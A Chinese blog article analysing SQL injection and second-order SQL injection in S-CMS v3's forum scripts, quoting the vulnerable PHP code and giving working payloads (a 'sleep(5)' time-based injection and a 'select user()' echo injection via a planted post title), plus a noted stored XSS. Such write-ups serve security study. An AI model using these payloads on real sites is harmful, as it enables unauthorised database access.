S-CMS企建v3二次SQL注入的方法

 更新时间:2019年02月26日 16:07:34   作者:AShe  
这篇文章主要介绍了S-CMS企建v3二次SQL注入的方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

0x01 前言

继上一篇的S-CMS漏洞再来一波!首发T00ls

0x2 目录

Sql注入二次SQL注入

0x03 Sql注入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_id=$row["B_id"];
 }

相对来说这个注入比较简单,$B_sort 无过滤直接从POST获取,然而在SELECT查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。

漏洞验证:

—Payload:

——http://127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=test&B_content=test11&B_sort=1 and sleep(5)

$debug调试信息:

Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

0x04 二次注入

漏洞文件:

\scms\bbs\bbs.php

\scms\bbs\item.php

先看一下漏洞触发点:

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
 $result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
 $S_title=lang($row["S_title"]);
 $B_view=$row["B_view"];
 $M_login=$row["M_login"];
 $M_pic=$row["M_pic"];
 $L_title=$row["L_title"];
 }
if(substr($M_pic,0,4)!="http"){
$M_pic="../media/".$M_pic;
}
$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

$result2 = mysqli_query($conn, $sql2);
$row2 = mysqli_fetch_assoc($result2);
$B_count=$row2["B_count"];
if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回复成功!","item.php?id=".$id,"success");
}

简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id)

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

然后把查询到的内容各自赋给一个变量

 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
..............................

到后面判断$action=="reply",进入回复帖子功能处

if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回复成功!","item.php?id=".$id,"success");
}

可以看到$B_contentx=$_POST["B_content"]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。

漏洞触发流程:

—首先我们去发帖B_title的值是我们的payload,还有其他的值

——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

—然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子

——http://127.0.0.1//scms/bbs/item.php?id=帖子id

—获取到帖子后去触发漏洞

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

——B_content=test

—这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是

——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";

—而B_sub可控,这样我们就能直接获取回显。

漏洞演示:

—Payload1

——127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

—Payload2

——获取帖子id

——http://127.0.0.1//scms/bbs/item.php?id=30

—Payload3

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

——B_content=test

执行完成!最后我们就可以去访问我们的回复然后拿到回显。http://127.0.0.1//scms/bbs/item.php?id=666这次id参数指向的是我们填的B_sub值

0x05 结束语

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

相关文章

  • DownPlus 安全补丁 2008-12-12 附修改方法

    DownPlus 安全补丁 2008-12-12 附修改方法

    DownPlus 安全补丁 2008-12-12 修正内容: 修正query.asp的跨站脚本漏洞.
    2008-12-12
  • phpcms数据表结构和字段详细说明

    phpcms数据表结构和字段详细说明

    PHPCMS V9可以轻松承载百万级的访问数据,最大的功臣就是PHPCMS良好的数据库结构。学习一下PHPCMS的数据库结构。数据表的默认表前缀是V9_ ,表前缀的主要作用是数据库中有不同系统的数据表存在时,可以用表前缀来区分出来。
    2023-04-04
  • 解决dotproject的两个小bug的方法

    解决dotproject的两个小bug的方法

    继续深入使用dotproject,发现两个小bug,国内的论坛这些问题是找不到了,只有到dotproject官方论坛去找找,问题终获解决。
    2008-11-11
  • 帝国cms所有的数据库表结构和字段说明

    帝国cms所有的数据库表结构和字段说明

    帝国CMS也是比较有名气的,基本上没有出现安全问题。但是帝国CMS后台的逻辑和布局,感觉太复杂。如果我们需要会员或者下载等交互功能,这一点的扩展上帝国是有优势的。这篇文章主要介绍了帝国cms所有的数据库表结构和字段说明,需要的朋友可以参考下。
    2023-04-04
  • 易优eyoucms数据表结构和字段说明(数据字典)

    易优eyoucms数据表结构和字段说明(数据字典)

    EyouCms是基于TP5.0框架为核心开发的免费开源的企业内容管理系统,易优基本包含了一个常规企业网站需要的一切功能。这篇文章主要介绍了易优eyoucms数据表结构和字段说明(数据字典),需要的朋友可以参考下
    2023-04-04
  • fastAdmin表单验证validate的错误提示信息,如何改变位置?

    fastAdmin表单验证validate的错误提示信息,如何改变位置?

    fastAdmin表单验证validate的错误提示,默认是在右侧的n-right,如果放在右侧不太好看,想调整到其他位置,该怎么操作呢?
    2023-08-08
  • PHPWIND 5.3 运行代码 功能实现代码

    PHPWIND 5.3 运行代码 功能实现代码

    天架设了一个PHPWIND的论坛,想着要弄个运行代码的功能出来,不过我只懂点ASP,又没接触过PHP,想着看看有没前人树,咱乘下凉就是了。查了下,发现只有老版本的插件可以实现这个功能。
    2009-06-06
  • 详解S-CMS企业建站v3几处SQL注入

    详解S-CMS企业建站v3几处SQL注入

    这篇文章主要介绍了详解S-CMS企业建站v3几处SQL注入,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2019-02-02
  • fastadmin使用学习中的常见问题汇总

    fastadmin使用学习中的常见问题汇总

    fastadmin是thinkPHP开发框架整合了很多插件和技术,后台的前端页面使用Bootstrap,还有RequireJs。总的来说,需要开发者前后端全栈技术程度较高,当然也要看使用学习时间长短,毕竟熟能生巧。这篇文章主要介绍了fastadmin使用学习中的常见问题汇总
    2022-12-12
  • S-CMS企建v3二次SQL注入的方法

    S-CMS企建v3二次SQL注入的方法

    这篇文章主要介绍了S-CMS企建v3二次SQL注入的方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-02-02

最新评论